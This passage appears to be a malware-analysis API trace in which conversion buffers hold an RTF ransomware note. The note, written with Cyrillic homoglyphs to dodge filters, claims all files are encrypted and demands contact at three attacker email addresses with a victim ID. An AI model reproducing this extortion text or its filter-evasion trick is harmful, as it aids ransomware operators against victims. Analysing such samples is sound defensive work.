PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c3da8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 